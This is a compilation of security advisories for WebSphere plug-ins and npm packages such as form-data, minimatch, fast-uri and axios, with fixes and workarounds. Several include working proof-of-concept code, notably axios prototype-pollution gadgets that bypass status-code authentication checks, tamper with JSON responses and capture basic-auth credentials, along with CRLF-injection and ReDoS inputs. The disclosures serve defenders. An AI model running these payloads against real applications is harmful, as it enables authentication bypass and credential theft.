IBM Web Server Plug-ins for WebSphere Application Server and WebSphere Liberty 8.5, 9.0 IBM WebSphere Application Server and WebSphere Application Server Liberty are vulnerable to remote code execution in the Web Server Plug-ins, through a specially crafted request.

IBM WebSphere Application Server and IBM WebSphere Application Server Liberty - when using Intelligent Management with the WebSphere WebServer Plug-in component - are vulnerable to remote code execution and denial of service. This vulnerability can be exploited when an attacker impersonates backend servers and sends crafted responses to the plug-in.

A flaw was found in nodejs-underscore. Arbitrary code execution via the template function is possible, particularly when a variable property is passed as an argument as it is not sanitized. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.

Copilot said: i18nextify is a JavaScript library that adds i18nextify is a JavaScript library that adds website internationalization via a script tag, without source code changes. Versions prior to 3.0.5 interpolate the lng and ns values directly into the configured loadPath / addPath URL template without any encoding, validation, or path sanitisation. When an application exposes the language-code selection to user-controlled input (the default — i18next-browser-languagedetector reads ?lng= query params, cookies, localStorage, and request headers), an attacker can inject characters that change the structure of the outgoing request URL. This is a single URL-injection vulnerability. The attacker-controlled value is neutralised before it is used as part of an output URL string; the attack shape covers both path traversal and broader URL-structure injection — both are closed by the one interpolateUrl sanitisation fix. This issue has been fixed in version 3.0.5. If users cannot upgrade immediately, they can work around the issue by sanitising lng / ns before they reach i18next (strip .., /, \, ?, #, %, whitespace, and control characters; cap the length).

A Prototype Pollution vulnerability was found in lodash. Calling certain methods with untrusted JSON could lead to modifying objects up the prototype chain, including the global Object. A crafted JSON object passed to a vulnerable method could lead to denial of service or data injection, with various consequences.

IBM WebSphere Application Server and IBM WebSphere Application Server Liberty are vulnerable to remote code execution and denial of service in the WebSphere Web Server Plug-in component. This vulnerability can be exploited when an attacker impersonates the application server and sends crafted responses to the plug-in.

A flaw was found in the json5 package. The affected version of the json5 package could allow an attacker to set arbitrary and unexpected keys on the object returned from JSON5.parse.

Impact v3.0.8, v2.1.2, v1.16.4 and below

Patches Has been patched in 3.0.9, 2.1.3, and 1.16.5

Workarounds You can use the ignore option to ignore non files/directories.

js ignore (, header) { // pass files & directories, ignore e.g. symlinks return header.type !== 'file' && header.type !== 'directory' }

Credit Thank you Caleb Brown from Google Open Source Security Team for reporting this in detail.

Summary

form-data builds multipart/form-data request bodies. Through v4.0.5, the field name passed to FormData#append and the filename option are concatenated directly into the Content-Disposition header with no escaping of CR (\r), LF (\n), or ". An application that uses untrusted input as a field name or filename therefore lets an attacker terminate the header line and either inject additional headers or smuggle whole additional multipart parts into the request the application forwards to a backend.

This is CWE-93 (CRLF injection). It is a divergence from how browsers and the WHATWG HTML spec serialize form-data (they escape these characters), so the fix is to match that behavior. Severity is conditional: it depends on the consuming application passing attacker-controlled data as a field name or filename. Applications that only use fixed/trusted field names are not affected.

Details

In lib/formdata.js, multiPartHeader builds the part header as:

javascript 'Content-Disposition': ['form-data', 'name="' + field + '"'].concat(contentDisposition || [])

and getContentDisposition builds filename="' + filename + '"'. Neither escapes control characters, so a \r\n in field/filename ends the header line. The same applies to ", which can break out of the quoted parameter.

Proof of concept

javascript const FormData = require('form-data'); const form = new FormData(); form.append('email"\r\nX-Injected: true\r\nfake="', 'user@example.com'); console.log(form.getBuffer().toString());

Before the fix this emits an injected X-Injected: true header line. A field name that also includes --<boundary> sequences can introduce additional parts (e.g. an extra name="isadmin" field), which a downstream parser accepts as legitimate.

Impact

For an application that uses untrusted field names/filenames:

- Field injection / override (integrity). Inject or override fields the backend trusts (e.g. isadmin, role) — the primary demonstrated impact. - Header injection into the generated multipart part.

Claims of guaranteed privilege escalation, authentication bypass, high confidentiality impact, and availability impact are application-dependent downstream consequences, not properties of form-data itself, and are not demonstrated by the PoC.

Severity

The demonstrated, library-attributable impact is integrity (field/header injection); there is no demonstrated confidentiality disclosure or availability impact in form-data itself, and exploitation requires the consuming app to feed untrusted data into field names/filenames. A Moderate (≈5.3, I:L) rating is also defensible given that precondition.

Patch

Fixed in 4.0.6, 3.0.5, and 2.5.6. Users on older 0.x/1.x/2.x releases should upgrade to 2.5.6 or later.

The fix escapes \r, \n, and " as %0D, %0A, and %22 in field names and filenames, matching the WHATWG HTML multipart/form-data encoding algorithm that browsers implement. This neutralizes the injection while leaving ordinary field names (including name[0], dotted, and unicode names) unchanged.

Workaround

Until upgrading, validate or reject field names/filenames that contain control characters before calling append:

javascript if (/[\r\n]/.test(field)) { throw new Error('invalid field name'); }

Credit

Reported by yueyueL.

get-func-name is a module to retrieve a function's name securely and consistently both in NodeJS and the browser. Versions prior to 2.0.1 are subject to a regular expression denial of service (redos) vulnerability which may lead to a denial of service when parsing malicious input. This vulnerability can be exploited when there is an imbalance in parentheses, which results in excessive backtracking and subsequently increases the CPU load and processing time significantly. This vulnerability can be triggered using the following input: '\t'.repeat(54773) + '\t/function/i'. This issue has been addressed in commit f934b228b which has been included in releases from 2.0.1. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Vulnerability Disclosure: Authentication Bypass via Prototype Pollution Gadget in validateStatus Merge Strategy

Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution to silently suppress all HTTP error responses (401, 403, 500, etc.), causing them to be treated as successful responses. This completely bypasses application-level authentication and error handling.

The root cause is that validateStatus is the only config property using the mergeDirectKeys merge strategy, which uses JavaScript's in operator — an operator that inherently traverses the prototype chain. When Object.prototype.validateStatus is polluted with () => true, all HTTP status codes are accepted as success.

Severity: High (CVSS 8.2) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/core/mergeConfig.js (mergeDirectKeys strategy) + lib/core/settle.js

CWE

- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') - CWE-287: Improper Authentication

CVSS 3.1

Score: 8.2 (High)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

| Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely | | Attack Complexity | Low | Once PP exists, a single property assignment exploits this. Consistent with GHSA-fvcv-3m26-pcqx | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Impact within the application | | Confidentiality | Low | 401 treated as success may expose data behind auth gates | | Integrity | High | All error handling and auth checks are silently bypassed — application operates on invalid assumptions | | Availability | None | The function works correctly (returns true), no crash |

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack, Axios will automatically inherit the polluted validateStatus function during config merge. The in operator in mergeDirectKeys makes this property uniquely susceptible to prototype pollution compared to all other config properties.

Why validateStatus Is Uniquely Vulnerable

All other config properties use defaultToConfig2, which reads config2[prop] (traverses prototype). But validateStatus uses mergeDirectKeys, which uses the in operator:

javascript // mergeConfig.js:58-64 — mergeDirectKeys (ONLY used by validateStatus) function mergeDirectKeys(a, b, prop) { if (prop in config2) { // ← in traverses prototype chain! return getMergedValue(a, b); } else if (prop in config1) { return getMergedValue(undefined, a); } }

// mergeConfig.js:94 const mergeMap = { // ... all others use defaultToConfig2 ... validateStatus: mergeDirectKeys, // ← ONLY property using this strategy };

The in operator is a more aggressive prototype traversal than property access. While config2['validateStatus'] also traverses the prototype, the explicit in check makes the intent clearer and the vulnerability more direct.

Proof of Concept

1. The Setup (Simulated Pollution)

javascript Object.prototype.validateStatus = () => true;

2. The Gadget Trigger (Safe Code)

javascript // Application checks authentication via HTTP status codes try { const response = await axios.get('https://api.internal/admin/users'); // Developer expects: 401 → catch block → redirect to login // Reality: 401 → treated as success → displays admin data processAdminData(response.data); // Executes with 401 response body! } catch (error) { redirectToLogin(); // NEVER REACHED for 401/403/500 }

3. The Execution

javascript // mergeConfig.js:58 — 'validateStatus' in config2 // config2 = { url: '/admin/users', method: 'get' } // 'validateStatus' in config2 → checks prototype → finds () => true → TRUE // → getMergedValue(defaultValidator, () => true) → returns () => true

// settle.js:16 — ALL status codes resolve const validateStatus = response.config.validateStatus; // () => true if (!response.status || !validateStatus || validateStatus(response.status)) { resolve(response); // 401, 403, 500 all resolve here! }

4. The Impact

Before pollution: HTTP 200 → resolve (success) HTTP 401 → reject (auth error) → redirectToLogin() HTTP 403 → reject (forbidden) → showAccessDenied() HTTP 500 → reject (server error) → showErrorPage()

After pollution: HTTP 200 → resolve (success) HTTP 401 → resolve (SUCCESS!) → processAdminData() with error body HTTP 403 → resolve (SUCCESS!) → application thinks user has access HTTP 500 → resolve (SUCCESS!) → application processes error as data

Verified PoC Output

--- Before Pollution --- 401: REJECTED as expected - Request failed with status code 401 500: REJECTED as expected - Request failed with status code 500

--- After Pollution --- 200: RESOLVED as success (status: 200) 301: RESOLVED as success (status: 301) 401: RESOLVED as success (status: 401) 403: RESOLVED as success (status: 403) 404: RESOLVED as success (status: 404) 500: RESOLVED as success (status: 500) 503: RESOLVED as success (status: 503)

--- Authentication Bypass Demo --- Auth check bypassed! 401 treated as success. Application proceeds with: { status: 401, message: 'Response with status 401' }

Impact Analysis

- Authentication Bypass: Applications relying on axios rejecting 401/403 to enforce auth will silently accept unauthorized responses, allowing unauthenticated access to protected resources. - Silent Error Swallowing: 500-series errors are treated as success, causing applications to process error bodies as valid data — leading to data corruption or logic errors. - Security Control Bypass: Rate limiting (429), WAF blocks (403), and CAPTCHA challenges are suppressed. - Universal Scope: Affects every axios instance in the application, including third-party libraries.

Recommended Fix

Replace the in operator with hasOwnProperty in mergeDirectKeys:

javascript // FIXED: lib/core/mergeConfig.js function mergeDirectKeys(a, b, prop) { if (Object.prototype.hasOwnProperty.call(config2, prop)) { return getMergedValue(a, b); } else if (Object.prototype.hasOwnProperty.call(config1, prop)) { return getMergedValue(undefined, a); } }

Resources

- CWE-1321: Prototype Pollution - CWE-287: Improper Authentication - GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios - MDN: in operator - Axios GitHub Repository

Timeline

| Date | Event | |---|---| | 2026-04-15 | Vulnerability discovered during source code audit | | 2026-04-15 | PoC developed and vulnerability confirmed | | 2026-04-16 | Report revised for accuracy | | TBD | Report submitted to vendor via GitHub Security Advisory |

IBM Business Automation Insights could allow an authenticated user to cause a denial of service or corrupt existing data due to the improper validation of input length.

An Improper Link Resolution Before File Access ("Link Following") and Improper Limitation of a Pathname to a Restricted Directory ("Path Traversal"). This vulnerability occurs when extracting a maliciously crafted tar file, which can result in unauthorized file writes or overwrites outside the intended extraction directory. The issue is associated with index.js in the tar-fs package.

Impact

A vulnerability in Multer versions >= 1.4.4-lts.1, < 2.0.2 allows an attacker to trigger a Denial of Service (DoS) by sending a malformed request. This request causes an unhandled exception, leading to a crash of the process.

Patches

Users should upgrade to 2.0.2

Workarounds

None

Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).

Proof of Concept js var minimatch = require(“minimatch”);

// utility function for generating long strings var genstr = function (len, chr) { var result = “”; for (i=0; i<=len; i++) { result = result + chr; } return result; }

var exploit = “[!” + genstr(1000000, “\\”) + “A”;

// minimatch exploit. console.log(“starting minimatch”); minimatch(“foo”, exploit); console.log(“finishing minimatch”);

Recommendation

Update to version 3.0.2 or later.

IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.4 IBM WebSphere Application Server Liberty is vulnerable to identity spoofing under limited conditions when an application is deployed without authentication and authorization configured.

Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, he fix for noproxy hostname normalization bypass is incomplete. When noproxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it. The shouldBypassProxy() function does pure string matching — it does not resolve IP aliases or loopback equivalents. This vulnerability is fixed in 1.15.1 and 0.31.1.

Summary pgjdbc is vulnerable to a client-side denial of service during SCRAM-SHA-256 authentication.

Impact A malicious server can instruct the driver to perform SCRAM authentication with a very large iteration count. With a large enough value, the client spends an unbounded amount of CPU time inside PBKDF2 before authentication can fail. A single attempt ties up a CPU core. Repeated or concurrent attempts exhaust client CPU and can wedge connection pools.

In affected versions, loginTimeout did not fully mitigate this problem. When loginTimeout expired, the caller could stop waiting, but the worker thread performing the connection attempt could continue running and burning CPU inside the SCRAM PBKDF2 computation.

This issue affects availability. It does not provide authentication bypass, privilege escalation, or direct password disclosure.

A user is vulnerable when all of the following are true:

1. The connection uses SCRAM-SHA-256 authentication. 2. The client reaches a malicious, compromised, or attacker-controlled PostgreSQL endpoint. 3. That endpoint sends a very large SCRAM PBKDF2 iteration count in the server-first-message.

In practice, that can happen in these situations:

- the application lets end users or tenants supply their own database connection details (as in many BI, reporting, analytics, ETL, and low-code platforms), so a user can point the shared client host at a server they control - the application accepts connection strings, hostnames, or JDBC URLs from user input, configuration uploaded by users, or other untrusted sources - the application is configured to connect to a PostgreSQL server that is itself malicious or later becomes compromised - the application connects through an untrusted proxy, relay, tunnel, bastion, or connection-pooling service that can act as the PostgreSQL server - an attacker can redirect the client to a fake PostgreSQL endpoint by manipulating DNS, service discovery, Kubernetes service resolution, /etc/hosts, environment variables, or similar indirection - an active network attacker on the path can impersonate the server because the connection does not strongly verify server identity (for example, sslmode lower than verify-full, or trusting a CA that signs hosts outside the operator's control)

The issue is more damaging when the application uses connection retries, many parallel connection attempts, or loginTimeout and assumes the timeout fully stops the work.

Patches The patch introduces a new connection property, scramMaxIterations, with a default of 100K. The client now rejects SCRAM server messages that advertise more PBKDF2 iterations than the configured cap before starting the PBKDF2 computation begins.

Workarounds

Until a patched version of pgjdbc is deployed, the following measures reduce exposure:

1. Only connect to trusted PostgreSQL servers whose identity is verified. Connect only to trusted PostgreSQL servers, and verify server identity with TLS using sslmode=verify-full and a trusted CA. TLS without certificate and hostname verification is not sufficient as an active network attacker can still impersonate the server.

2. Do not rely on loginTimeout as a complete mitigation on unpatched versions. On affected versions, loginTimeout can stop the waiting caller while the worker thread continues spending CPU.

3. Avoid SCRAM on untrusted or interceptable connection paths. For those paths, use an authentication method that does not let the server choose a SCRAM PBKDF2 iteration count.

4. Reduce blast radius operationally. Limit parallel connection attempts, add retry backoff, isolate connection establishment in a separate worker or process when possible, and apply CPU or container limits where appropriate.

5. On trusted servers you control, keep SCRAM iteration counts at ordinary values. This does not defend against an attacker-controlled server, but it avoids unnecessary client cost when talking to legitimate servers.

Impact

fast-uri v3.1.0 and earlier decodes percent-encoded path separators (%2F) and dot segments (%2E) before applying dot-segment removal in normalize() and equal(). This makes encoded path data behave like real / and .., so distinct URIs collapse onto the same normalized path.

For example, http://example.com/public/%2e%2e/admin normalizes to http://example.com/admin, and equal() considers them the same URI.

Applications that normalize or compare attacker-controlled URLs to enforce path-based policy can be bypassed. A path that looks confined under an allowed prefix can normalize to a different location.

Patches

Upgrade to fast-uri >= 3.1.1.

Workarounds

None. Upgrade to the patched version.

Impact

fast-uri v3.1.1 and earlier decodes percent-encoded authority delimiters (%40 as @, %3A as :) inside the host component and serializes them back as raw characters. This changes the URI structure, turning a hostname into userinfo plus a different host.

For example, http://trusted.com%40evil.com/ normalizes to http://trusted.com@evil.com/, which reparses as host evil.com with userinfo trusted.com.

Applications that normalize untrusted URLs before host allowlist checks, redirect validation, or outbound request routing can be steered to a different authority than the original URL appeared to contain.

Patches

Upgrade to fast-uri >= 3.1.2.

Workarounds

None. Upgrade to the patched version.

IBM Web Server Plug-ins for WebSphere Application Server and WebSphere Liberty 8.5, 9.0 IBM WebSphere Application Server and WebSphere Application Server Liberty are vulnerable to HTTP request smuggling in the Web Server Plug-ins through a specially crafted request.

Impact

Multer is vulnerable to a Denial of Service (DoS) via deeply nested field names in multipart form data. The append-field dependency parses bracket notation in field names (e.g., a[b][c]) with no limit on nesting depth, allowing an attacker to force allocation of deeply nested object structures that consume CPU and memory. A single HTTP request with a crafted multipart body is sufficient to exploit this.

Patches

Users should upgrade to 2.2.0 and configure limits.fieldNestingDepth to the minimum depth their application requires.

Workarounds

Set limits.fields to a reasonable value to reduce the number of fields an attacker can send per request. This does not fully mitigate the issue but limits the impact.

Impact

A vulnerability in Multer allows an attacker to trigger a Denial of Service (DoS) by aborting or sending malformed multipart uploads, causing orphaned partial files to accumulate on disk when using diskStorage.

Patches

Users should upgrade to 2.2.0, 3.0.0-alpha.2 or higher

Workarounds

None

IBM i 7.6, 7.5, 7.4, and 7.3, IBM WebSphere Application Server, and IBM WebSphere Application Server Liberty are vulnerable to denial of service in the WebSphere WebServer Plug-in component when an attacker can pass crafted requests to the web server.

A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.

A flaw was found in the Node.js word-wrap module, where it is vulnerable to a denial of service caused by a Regular expression denial of service (ReDoS) issue in the result variable. By sending a specially crafted regex input, a remote attacker can cause a denial of service.

Sensitive headers incorrectly sent after cross-domain redirect in net/http

Summary

A prototype pollution gadget exists in the Axios HTTP adapter (lib/adapters/http.js) that allows an attacker to inject arbitrary HTTP headers into outgoing requests. The vulnerability exploits duck-type checking of the data payload, where if Object.prototype is polluted with getHeaders, append, pipe, on, once, and Symbol.toStringTag, Axios misidentifies any plain object payload as a FormData instance and calls the attacker-controlled getHeaders() function, merging the returned headers into the outgoing request.

The vulnerable code resides exclusively in lib/adapters/http.js. The prototype pollution source does not need to originate from Axios itself — any prototype pollution primitive in any dependency in the application's dependency tree is sufficient to trigger this gadget.

Prerequisites:

A prototype pollution primitive must exist somewhere in the application's dependency chain (e.g., via lodash.merge, qs, JSON5, or any deep-merge utility processing attacker-controlled input). The pollution source is not required to be in Axios. The application must use Axios to make HTTP requests with a data payload (POST, PUT, PATCH).

Details

The vulnerability is in lib/adapters/http.js, in the data serialization pipeline:

javascript // lib/adapters/http.js } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders)) { headers.set(data.getHeaders()); // ... }

Axios uses two sequential duck-type checks, both of which can be satisfied via prototype pollution:

1. utils.isFormData(data) — lib/utils.js javascript const isFormData = (thing) => { let kind; return thing && ( (typeof FormData === 'function' && thing instanceof FormData) || ( isFunction(thing.append) && ( (kind = kindOf(thing)) === 'formdata' || (kind === 'object' && isFunction(thing.toString) && thing.toString() === '[object FormData]') ) ) ) }

2. utils.isFunction(data.getHeaders) — Duck-type for form-data npm package javascript // Returns true if Object.prototype.getHeaders is a function utils.isFunction(data.getHeaders)

PoC

javascript // Simulate Prototype Pollution Object.prototype[Symbol.toStringTag] = 'FormData'; Object.prototype.append = () => {}; Object.prototype.getHeaders = () => { const headers = Object.create(null); (.... Introduce here all the headers you want ....) return headers; }; Object.prototype.pipe = function(d) { if(d&&d.end)d.end(); return d; }; Object.prototype.on = function() { return this; }; Object.prototype.once = function() { return this; };

// Legitimate application code const response = await axios.post('https://internal-api.company.com/admin/delete', { userId: 42 }, { headers: { 'Authorization': 'Bearer VALIDUSERTOKEN' } } );

Impact

- Authentication Bypass (CVSS: C:H) - Session Fixation (CVSS: I:H) - Privilege Escalation (CVSS: C:H, I:H) - IP Spoofing / WAF Bypass (CVSS: I:H)

Note on Scope: There is an argument to promote this from S:U to S:C (Scope: Changed), which would raise the score to 10.0. In some architectures, Axios is commonly used for service to service communication where downstream services trust identity headers (Authorization, X-Role, X-User-ID, X-Tenant-ID) forwarded from upstream API gateways. In this scenario, the vulnerable component (Axios in Service A) and the impacted component (Service B, which acts on the injected identity) are under different security authorities. The injected headers cross a trust boundary, meaning the impact extends beyond the security scope of the vulnerable component, the CVSS v3.1 definition of a Scope Change. We conservatively score S:U here, but maintainers should evaluate which one applies better here.

Recommended Fix

Add an explicit own-property check in lib/adapters/http.js:

diff - } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders)) { - headers.set(data.getHeaders()); + } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders) && + Object.prototype.hasOwnProperty.call(data, 'getHeaders')) { + headers.set(data.getHeaders());

Summary

When Object.prototype has been polluted by any co-dependency with keys that axios reads without a hasOwnProperty guard, an attacker can (a) silently intercept and modify every JSON response before the application sees it, or (b) fully hijack the underlying HTTP transport, gaining access to request credentials, headers, and body. The precondition is prototype pollution from a separate source in the same process -- lodash < 4.17.21, or any of several other common npm packages with known PP vectors. The two gadgets confirmed here work independently.

---

Background: how mergeConfig builds the config object

Every axios request goes through Axios.request in lib/core/Axios.js#L76:

js config = mergeConfig(this.defaults, config);

Inside mergeConfig, the merged config is built as a plain {} object (lib/core/mergeConfig.js#L20):

js const config = {};

A plain {} inherits from Object.prototype. mergeConfig only iterates Object.keys({ ...config1, ...config2 }) (line 99), which is a spread of own properties. Any key that is absent from both this.defaults and the per-request config will never be set as an own property on the merged config. Reading that key later on the merged config falls through to Object.prototype. That is the root mechanism behind all gadgets below.

---

Gadget 1: parseReviver -- response tampering and exfiltration

Introduced in: v1.12.0 (commit 2a97634, PR #5926) Affected range: >= 1.12.0, <= 1.13.6

Root cause

The default transformResponse function calls JSON.parse(data, this.parseReviver):

js return JSON.parse(data, this.parseReviver);

this is the merged config. parseReviver is not present in defaults and is not in the mergeMap inside mergeConfig. It is never set as an own property on the merged config. Accessing this.parseReviver therefore walks the prototype chain.

The call fires by default on every string response body because lib/defaults/transitional.js#L5 sets:

js forcedJSONParsing: true,

which activates the JSON parse path unconditionally when responseType is unset.

JSON.parse(text, reviver) calls the reviver for every key-value pair in the parsed result, bottom-up. The reviver's return value is what the caller receives. An attacker-controlled reviver can both observe every key-value pair and silently replace values.

There is no interaction with assertOptions here. The assertOptions call in Axios.request (line 119) iterates Object.keys(config), and since parseReviver was never set as an own property, it is not in that list. Nothing validates or invokes the polluted function before transformResponse does.

Verification: own-property check

js import { createRequire } from 'module'; const require = createRequire(import.meta.url); const mergeConfig = require('./lib/core/mergeConfig.js').default; const defaults = require('./lib/defaults/index.js').default;

const merged = mergeConfig(defaults, { url: '/test', method: 'get' }); console.log(Object.prototype.hasOwnProperty.call(merged, 'parseReviver')); // false console.log(merged.parseReviver); // undefined (no pollution)

Object.prototype.parseReviver = function(k, v) { return v; }; console.log(merged.parseReviver); // [Function (anonymous)] -- inherited delete Object.prototype.parseReviver;

Proof of concept

Two terminals. The server simulates a legitimate API endpoint. The client simulates a Node.js application whose process has been affected by prototype pollution from a co-dependency.

Terminal 1 -- server (servergadget1.mjs):

js import http from 'http';

const server = http.createServer((req, res) => { console.log('[server] request:', req.method, req.url); res.writeHead(200, { 'Content-Type': 'application/json' }); res.end(JSON.stringify({ role: 'user', balance: 100, token: 'tokrealabc' })); });

server.listen(19003, '127.0.0.1', () => { console.log('[server] listening on 127.0.0.1:19003'); });

$ node servergadget1.mjs [server] listening on 127.0.0.1:19003 [server] request: GET /

Terminal 2 -- client (pocparsereviver.mjs):

js import axios from 'axios';

// Simulate pollution arriving from a co-dependency (e.g. lodash < 4.17.21 via .merge). // In a real application this would be set before any axios request runs. Object.prototype.parseReviver = function (key, value) { // Called for every key-value pair in every JSON response parsed by axios in this process. if (key !== '') { // Exfiltrate: in a real attack this would POST to an attacker-controlled endpoint. console.log('[exfil]', key, '=', JSON.stringify(value)); } // Tamper: escalate role, inflate balance. if (key === 'role') return 'admin'; if (key === 'balance') return 999999; return value; };

const res = await axios.get('http://127.0.0.1:19003/'); console.log('[app] received:', JSON.stringify(res.data));

delete Object.prototype.parseReviver;

$ node pocparsereviver.mjs [exfil] role = "user" [exfil] balance = 100 [exfil] token = "tokrealabc" [app] received: {"role":"admin","balance":999999,"token":"tokrealabc"}

The server sent role: user. The application received role: admin. The response is silently modified in place; no error is thrown, no log entry is produced.

---

Gadget 2: transport -- full HTTP request hijacking with credentials

Introduced in: early adapter refactor, present across 0.x and 1.x Affected range: >= 0.19.0, <= 1.13.6 (Node.js http adapter only)

Root cause

Inside the Node.js http adapter at lib/adapters/http.js#L676:

js if (config.transport) { transport = config.transport; }

transport is listed in mergeMap inside mergeConfig (line 88):

js transport: defaultToConfig2,

but it is not present in lib/defaults/index.js at all. mergeConfig iterates Object.keys({ ...config1, ...config2 }) (line 99). Since config1 (the defaults) has no transport key and a typical per-request config has none either, the key never enters the loop. It is never set as an own property on the merged config. The read at line 676 falls through to Object.prototype.

The fix in v1.13.5 (PR #7369) added a hasOwnProp check for mergeMap access, but the iteration set itself is the issue -- transport simply never enters it. The fix does not address this.

The transport interface is { request(options, handleResponseCallback) }. The options object passed to transport.request at adapter runtime contains:

- options.hostname, options.port, options.path -- full target URL - options.auth -- basic auth credentials in "username:password" form (set at line 606) - options.headers -- all request headers as a plain object

Proof of concept

Two terminals. The server is a legitimate API endpoint that processes the request normally. The client's process has been affected by prototype pollution.

Terminal 1 -- server (servergadget2.mjs):

js import http from 'http';

const server = http.createServer((req, res) => { console.log('[server] request:', req.method, req.url, 'auth:', req.headers.authorization || '(none)'); res.writeHead(200, { 'Content-Type': 'application/json' }); res.end('{"ok":true}'); });

server.listen(19002, '127.0.0.1', () => { console.log('[server] listening on 127.0.0.1:19002'); });

$ node servergadget2.mjs [server] listening on 127.0.0.1:19002 [server] request: GET /api/users auth: Basic c3ZjX2FjY291bnQ6aHVudGVyMg==

Terminal 2 -- client (poctransport.mjs):

js import axios from 'axios'; import http from 'http';

Object.prototype.transport = { request(options, handleResponse) { // Intercept: called for every outbound request in this process. console.log('[hijack] target:', options.hostname + ':' + options.port + options.path); console.log('[hijack] auth:', options.auth); console.log('[hijack] headers:', JSON.stringify(options.headers)); // Forward to the real transport so the caller sees a normal 200. return http.request(options, handleResponse); }, };

const res = await axios.get('http://127.0.0.1:19002/api/users', { auth: { username: 'svcaccount', password: 'hunter2' }, }); console.log('[app] response status:', res.status);

delete Object.prototype.transport;

$ node poctransport.mjs [hijack] target: 127.0.0.1:19002/api/users [hijack] auth: svcaccount:hunter2 [hijack] headers: {"Accept":"application/json, text/plain, /","User-Agent":"axios/1.13.6","Accept-Encoding":"gzip, compress, deflate, br"} [app] response status: 200

The basic auth credentials are fully visible to the attacker's transport function. The request completes normally from the caller's perspective.

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Additional gadget: transformRequest / transformResponse

Separately, mergeConfig reads config2[prop] at line 102 without a hasOwnProperty guard. For keys like transformRequest and transformResponse that are present in defaults (and therefore processed by the mergeMap loop), if Object.prototype.transformRequest is polluted before the request, config2["transformRequest"] inherits the polluted value and defaultToConfig2 replaces the safe default transforms with the attacker's function.

This one requires a discriminator because assertOptions in Axios.request (line 119) reads schema[opt] for every key in the merged config's own keys, and schema["transformRequest"] also inherits from Object.prototype, causing it to call the polluted value as a validator. The gadget function needs to return true when its first argument is a function (the assertOptions call) and perform the attack when its first argument is data (the transformData call).

Both transformRequest (fires with request body) and transformResponse (fires with response body) are confirmed affected. Range: >= 0.19.0, <= 1.13.6.

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Why the existing fix does not cover these

PR #7369 / CVE-2026-25639 (fixed in v1.13.5) addressed a separate class: passing {"proto": {"x": 1}} as the config object, which caused mergeMap['proto'] to resolve to Object.prototype (a non-function), crashing axios. The fix added an explicit block on proto, constructor, and prototype as config keys, and changed mergeMap[prop] to utils.hasOwnProp(mergeMap, prop) ? mergeMap[prop] : ....

That fix only addresses config keys that are explicitly set to proto (or similar) by the caller. It does not add hasOwnProperty guards on the value reads (config2[prop] at line 102, this.parseReviver, config.transport). An application using a PP-vulnerable co-dependency and making axios requests is still fully exposed after upgrading to 1.13.5 or 1.13.6.

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Suggested fixes

For parseReviver (lib/defaults/index.js#L124): js const reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver') ? this.parseReviver : undefined; return JSON.parse(data, reviver);

For mergeConfig value reads (lib/core/mergeConfig.js#L102): js const configValue = merge( config1[prop], utils.hasOwnProp(config2, prop) ? config2[prop] : undefined, prop );

For transport and other adapter reads from config (lib/adapters/http.js#L676): js if (utils.hasOwnProp(config, 'transport') && config.transport) { transport = config.transport; }

The same hasOwnProp pattern applies to lookup, httpVersion, http2Options, family, and formSerializer reads in the adapter.

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Environment

- axios: 1.13.6 - Node.js: 22.22.0 - OS: macOS 14 - Reproduction: confirmed in isolated test harness, both gadgets independently verified

Disclosure

Reported via GitHub Security Advisories at https://github.com/axios/axios/security/advisories/new per the axios security policy.

pathval before version 1.1.1 is vulnerable to prototype pollution.